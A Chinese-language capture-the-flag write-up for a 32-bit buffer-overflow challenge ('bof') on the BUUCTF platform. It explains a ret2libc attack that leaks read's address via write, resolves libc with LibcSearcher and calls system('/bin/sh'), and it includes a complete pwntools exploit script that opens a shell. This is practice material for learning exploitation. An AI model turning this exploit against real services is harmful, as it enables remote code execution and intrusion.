1.32位程序,没有canary和pie,部分RELRO打开,拖入ida检查。main函数主要意思就是将buf内容全部送到标准输出中,之后进入vuln函数。
2.vuln函数表明输入数据到buf里,注意这里的buf是在vuln里新定义的char型数组,是存在缓冲区溢出的,再加上之前调用过的write()函数,泄露read_addr(也可以泄露write_addr,2参数变为write_got),得到libc版本。
3.注意32位程序函数地址和传参的顺序,先传函数,后两个字节处传入函数参数。在第一个payload构造时添加write参数时先紧跟write_plt添加随机字节数以保持栈对齐(而不是main_addr或vuln_addr)后,再加上write的参数可能导致程序崩溃。应该是再write_plt后直接加上返回函数地址(正好充当一个字节的位置),之后再填入参数,保证之后没有数据添加。如下:
payload1 = b'a'*(0x6C + 0x4) + p32(write_plt) + p32(0) + p32(1) + p32(read_got) + p32(4) + p32(main_addr) //错误❌
payload1 = b'a'*(0x6C + 0x4) + p32(write_plt) + p32(mian_addr) + p32(1) + p32(read_got) + p32(4) //正确✔
梳理$payload1发送后一般接受函数addr:
32位:XX_addr = u32(io.recvuntil(b'\xf7')[-4:])
64位:XX_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
wp如下:
from pwn import*
from LibcSearcher import*
#io = process('./bof')
io = remote('nodeX.buuoj.cn',XXXXX)
elf = ELF('./bof')
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
vuln_addr = elf.sym['vuln']
payload1 = b'a'*(0x6C + 0x4) + p32(write_plt)
payload1 += p32(main_addr) + p32(1) + p32(read_got) + p32(4)
io.sendline(payload1)
#read_addr = u32(io.recv(4))
read_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)
libcbase = read_addr - libc.dump('read')
sys_addr = libcbase + libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
payload2 = b'a'*(0x6C + 0x4) + p32(sys_addr)
payload2 += p32(0xdeadbeef) + p32(bin_addr)
io.sendline(payload2)
io.interactive()